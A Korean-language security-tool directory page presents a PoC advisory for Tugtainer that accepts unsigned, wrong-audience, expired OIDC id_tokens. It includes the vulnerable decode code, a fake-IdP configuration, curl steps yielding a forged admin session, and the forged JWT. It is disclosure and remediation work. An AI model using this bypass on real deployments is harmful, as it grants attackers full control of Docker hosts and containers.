Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/squeeze440/tugtainer-poc
Vulnerability AnalysisExploitationWeb SecurityPenetration TestingIdentity & Access Management (IAM)Authentication
GitHubsqueeze440/tugtainer-poc

tugtainer-PoC

PoC — Tugtainer에서 서명/대상/만료 검사 없이 OIDC id_token이 허용됨 (GHSA-crjc-6vc7-xrfh, CVE-2026-87004, CVSS 8.1).

저장소 보기
7일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

요약

CVE 상태: 요청됨, 할당 대기 중. 이 취약점은 GHSA-crjc-6vc7-xrfh로 공개되었습니다. CVE가 할당되면 이 저장소는 CVE-YYYY-NNNNN-tugtainer-PoC로 이름이 변경되고 이 배너는 CVE 링크로 대체됩니다.

연구자Dostxodjayev Abdullox (@squeeze440)
권고GHSA-crjc-6vc7-xrfh
CVSS 3.18.1 (높음)
취약점CWE-347

요약

Quenary/tugtainer (커밋 3138226)의 backend/modules/auth/providers/auth_oidc_provider.py에 있는 OIDC 인증 제공자에서 암호화 서명 검증이 부적절하게 이루어져, tugtainer 백엔드와 구성된 OIDC 제공자 사이의 토큰 교환 응답을 제어하거나 가로챌 수 있는 위치에 있는 공격자(예: 네트워크 MITM 위치, 침해된/악의적인 ID 제공자, 또는 해당 경로상의 DNS/TLS 종료 침해)가 임의의 id_token을 위조하고 GET /api/auth/oidc/callback을 통해 임의의 신원으로 완전히 인증된 관리자 동등의 tugtainer 세션을 획득할 수 있습니다.

제품

Quenary/tugtainer — 웹 UI와 에이전트/백엔드 아키텍처를 갖춘 자체 호스팅 Docker 컨테이너 자동 업데이트 도구.

테스트된 버전

커밋 31382268bf16df32f33316fe4d601ad1635871d4 (저장소 기본 브랜치, 2026-08-05 클론).

추정 CVSS v3.1

8.1 (높음) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

  • AC:H (AC:L이 아님): 익스플로잇은 단순한 비인증 네트워크 요청이 아닙니다. 공격자가 서버 간 코드 교환 중에 토큰 엔드포인트가 백엔드에 반환하는 내용을 제어해야 합니다. 현실적으로는 tugtainer 백엔드와 실제 IdP 사이의 MITM 위치, 또는 백엔드가 신뢰하도록 구성된 침해된/악의적인 IdP입니다. 이는 실제적이고 사소하지 않은 전제 조건이므로 AC:L 대신 AC:H를 사용합니다.
  • UI:N: 공격자가 해당 네트워크 위치를 확보하면 피해자의 상호작용이 필요하지 않습니다. 공격자가 전체 로그인 흐름을 스스로 주도할 수 있습니다(아래 PoC에서 확인되었으며, curl로 처음부터 끝까지 수행됨).
  • C:H/I:H/A:H: 결과 세션은 완전하고 제한 없는 tugtainer 세션입니다(OIDC 신원에 대한 RBAC/허용 목록이 존재하지 않음 — 세부 사항 참조). 모든 컨테이너/호스트 관리 엔드포인트에 접근할 수 있습니다: 모든 Docker 호스트와 컨테이너 나열/읽기, 컨테이너 시작/중지/종료/제거, 이미지 풀, 그리고 (호스트에서 ALLOW_HOOKS/ALLOW_EXEC가 활성화된 경우) 컨테이너 내부에서 명령 실행.
  • S:U: 영향은 tugtainer 자체의 인가 경계 내에 머뭅니다(공격자가 인증된 tugtainer 사용자가 됨). 별도로 인가된 구성 요소로의 범위 변경으로 취급되지 않습니다.

세부 사항

backend/modules/auth/providers/auth_oidc_provider.py, _exchange_oidc_code 메서드 (267–331행), 특히 299–306행:

root@kitploit:~
# Verify and decode ID token if present
if "id_token" in token:
    # For now, we'll decode without verification (not recommended for production)
    id_token_claims = jwt.get_unverified_claims(token["id_token"])
    return {
        "access_token": token.get("access_token"),
        "id_token_claims": id_token_claims,
    }

jwt.get_unverified_claims() (python-jose)는 JWT 페이로드를 base64 디코딩하면서 서명, exp/iat, 또는 aud/iss를 확인하지 않습니다 — 이는 OpenID Connect Core 1.0 §3.1.3.7이 ID Token을 신뢰하기 전에 RP가 수행해야 하는 것과 정확히 반대입니다. 개발자 자신의 주석("not recommended for production")은 이것이 의도적인 설계 선택이 아니라 알려진 지름길이었음을 확인해 줍니다.

결과적인 클레임은 추가 검사 없이 곧바로 세션 생성으로 흘러 들어갑니다:

  • callback() (137행)은 _exchange_oidc_code()를 호출한 다음 _create_oidc_user_session() (333행)을 호출하며, 이는 검증되지 않은 클레임에서 email/sub/preferred_username (341–345행)을 직접 가져와 _set_cookies()를 통해 실제 서명된 tugtainer access_token/refresh_token JWT 쿠키(HttpOnly, SameSite=strict)를 발급합니다.
  • 코드베이스 어디에도 허용된 OIDC 신원의 허용 목록이 없습니다(backend/에서 allowlist/allowed-email 패턴을 grep해도 아무것도 반환되지 않음) — (검증되지 않은) 클레임에 있는 sub/email이 무엇이든 새 세션의 신원이 되며, 다른 로그인 사용자와 동일한 접근 권한을 가집니다(tugtainer는 단일 평면 신뢰 수준을 가지며 사용자별 RBAC가 없음).
  • aud와 iss가 전혀 확인되지 않으므로, 동일한 IdP의 완전히 무관한 클라이언트를 위해 발급된 ID Token — 또는 아래에서 입증된 것처럼 쓰레기/불일치 서명과 이미 만료된 exp를 가진 토큰 — 도 정당한 토큰만큼이나 쉽게 수락됩니다.

이는 OIDC_ENABLED=true(관리자 옵트인)일 때만 도달 가능하므로 기본/비밀번호 전용 배포에는 영향을 미치지 않습니다.

개념 증명

이 커밋으로 빌드된 실제 애플리케이션(docker build -f Dockerfile.app)에 대해 동적으로 검증되었으며, 게시된 이미지가 아닌 일반 docker run으로 다음 설정과 함께 실행되었습니다:

root@kitploit:~
OIDC_ENABLED=true
OIDC_WELL_KNOWN_URL=http://<attacker-controlled-idp>:9999/.well-known/openid-configuration
OIDC_CLIENT_ID=tugtainer-test-client
OIDC_CLIENT_SECRET=whatever-not-checked-by-fake-idp
OIDC_REDIRECT_URI=http://localhost:19412/api/auth/oidc/callback

최소한의 가짜 OIDC 제공자(evidence/fake_idp.py, 이 작업 폴더에 보관됨)가 유효한 디스커버리 문서를 제공하며, POST /token에서 RP가 확인해야 하는 모든 면에서 의도적으로 유효하지 않은 id_token을 항상 반환합니다:

  • 서명 = 실제 HMAC/RSA 서명이 아닌 문자 그대로의 자리 표시자 바이트
  • aud = "totally-wrong-client-id-not-tugtainers" (OIDC_CLIENT_ID와 일치하지 않음)
  • exp = 1시간 전 (이미 만료됨)

단계 (실제 명령, 실제 출력, 두 컨테이너 모두 로컬에서 실행):

root@kitploit:~
$ curl -s -i -c cookies.txt "http://localhost:19412/api/auth/oidc/login"
HTTP/1.1 302 Found
location: http://tugtainer-audit-idp:9999/authorize?client_id=tugtainer-test-client&...&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ
set-cookie: oidc_state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ; HttpOnly; Max-Age=300; Path=/; SameSite=lax

$ curl -s -i -b cookies.txt -c cookies.txt \
  "http://localhost:19412/api/auth/oidc/callback?code=totally-arbitrary-unused-code&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ"
HTTP/1.1 302 Found
location: /containers
set-cookie: access_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=300; Path=/; SameSite=strict
set-cookie: refresh_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=2592000; Path=/; SameSite=strict

디코딩된 access_token 페이로드 (이 "사용자"를 위해 tugtainer 자체의 JWT 서명자가 발급한 것):

root@kitploit:~
{"type":"access","auth_provider":"oidc","user_id":"[email protected]",
 "user_info":{"iss":"http://tugtainer-audit-idp:9999","sub":"[email protected]",
 "email":"[email protected]","aud":"totally-wrong-client-id-not-tugtainers",
 "exp":1785918530,"iat":1785914930},"exp":1785922430}

그런 다음 세션이 보호된 엔드포인트에 대해 실시간으로 확인되었습니다:

root@kitploit:~
$ curl -s -i -b cookies.txt "http://localhost:19412/api/auth/is_authorized"
HTTP/1.1 200 OK

$ curl -s -b cookies.txt "http://localhost:19412/api/hosts/list"
[{"name":"local","enabled":true,...,"url":"http://127.0.0.1:8001","secret":null,...,"id":1,"available_updates_count":0}]

$ curl -s -i "http://localhost:19412/api/hosts/list"   # no cookies, for comparison
HTTP/1.1 401 Unauthorized

가짜 IdP 자체의 로그는 그것이 되돌려준 정확한 위조 토큰을 확인해 줍니다:

root@kitploit:~
[fake-idp] issuing FORGED id_token (bad sig, wrong aud, expired):
eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJpc3MiOiAiaHR0cDovL3R1Z3RhaW5lci1hdWRpdC1pZHA6OTk5OSIsICJzdWIiOiAiYXR0YWNrZXJAZXZpbC5leGFtcGxlIiwgImVtYWlsIjogImF0dGFja2VyQGV2aWwuZXhhbXBsZSIsICJhdWQiOiAidG90YWxseS13cm9uZy1jbGllbnQtaWQtbm90LXR1Z3RhaW5lcnMiLCAiZXhwIjogMTc4NTkxODUzMCwgImlhdCI6IDE3ODU5MTQ5MzB9.VEhJU19JU19OT1RfQV9WQUxJRF9TSUdOQVRVUkVfSlVTVF9SQU5ET01fQllURVNfMDAwMDAw

PoC 도우미: evidence/fake_idp.py (이 보고서와 함께 보관됨).

스크린샷은 포함되지 않았습니다 — 이는 브라우저/UI 구성 요소가 없는 서버 간 API 우회이므로 캡처할 것이 없습니다. 위의 curl 기록이 실제의 수정되지 않은 명령/응답 증거입니다.

영향

tugtainer 백엔드가 수행하는 OIDC 토큰 교환 호출의 응답에 영향을 줄 수 있는 모든 공격자(해당 네트워크 경로상의 MITM, 악의적/침해된 IdP, 또는 백엔드와 IdP 사이의 DNS/TLS 종료 침해)는 임의의 신원으로 완전히 유효하고 제한 없는 tugtainer 세션을 발급할 수 있습니다 — 실제 사용자의 자격 증명을 알 필요도 없고 정당한 사용자의 상호작용도 필요하지 않습니다. tugtainer에는 사용자별 RBAC가 없으므로 해당 세션은 전체 애플리케이션 접근 권한을 가집니다: 등록된 모든 Docker 호스트와 컨테이너 열거, 컨테이너 시작/중지/종료/제거, 이미지 풀/태그, 그리고 (ALLOW_HOOKS/에이전트 ALLOW_EXEC가 활성화된 경우) 컨테이너 내부에서 명령 실행.

취약점

  • CWE-347: 암호화 서명의 부적절한 검증
  • CWE-345: 데이터 진위성의 불충분한 검증 (aud/iss/exp 검사 누락)
  • CWE-287: 부적절한 인증

해결 방안

_exchange_oidc_code에서 jwt.get_unverified_claims(token["id_token"])를 검증 디코딩으로 교체하십시오: 디스커버리 문서에서 IdP의 jwks_uri를 가져오고, kid로 서명 키를 확인한 다음, jwt.decode(id_token, key=jwk, algorithms=[...], audience=Config.OIDC_CLIENT_ID, issuer=discovery_doc["issuer"])를 호출하십시오 (python-jose는 이 모든 것을 지원함). 이는 OIDC Core 사양에 따라 서명, exp/iat/nbf, aud, iss를 강제합니다. 다른 애플리케이션과 IdP를 공유하는 배포의 경우 허용되는 email/sub 값의 선택적 허용 목록을 추가하는 것도 고려하십시오.

크레딧

Dostxodjayev Abdullox (GitHub: squeeze440)

신고 채널

Quenary/tugtainer의 GitHub Security Advisory / 비공개 취약점 신고 (PVR 활성화 확인됨).

도구 다운로드